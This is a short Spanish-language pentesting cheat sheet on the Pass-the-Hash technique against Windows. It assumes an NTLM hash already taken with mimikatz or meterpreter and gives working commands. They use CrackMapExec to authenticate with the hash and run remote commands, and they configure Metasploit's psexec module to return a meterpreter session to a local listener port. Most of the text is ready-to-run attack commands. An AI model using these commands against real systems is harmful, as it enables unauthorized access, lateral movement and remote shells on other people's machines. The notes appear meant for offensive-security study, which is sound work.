Pass-The-Hash (Windows)

Pass the Hash es una técnica utilizada para acceder a un sistema protegido sin necesidad de conocer la contraseña en texto plano
del usuario. En lugar de esto, el atacante aprovecha los hash de las contraseñas que ya están almacenados y los utiliza para 
autenticarse.

En este ataque, partimos de haber obtenido el hash NTLM, ya sea con mimikatz, con kiwi, con el comando hashdump de meterpreter o
cualquier otra herramienta

Explotación con CrackMapExec (Necesitamos solo el hash NTLM)

`crackmapexec smb <IP> -u <user> -H "<NTLM hash>"`

Para ejecutar comandos

`crackmapexec smb -u -H "" -x "<comando">`

Explotación con Psexec en Metasploit (Necesitamos el LM y NTLM hash)

Módulo a utilizar: exploit/windows/smb/psexec

┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
use exploit/windows/smb/psexec
set LPORT <Puerto libre local> (Ya que recibiremos otra sesión de meterpreter nueva)
set RHOSTS <IP vícitma>
set SMBUser <user>
set SMBPass <hash NTLM>
set target Native\ upload
exploit
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────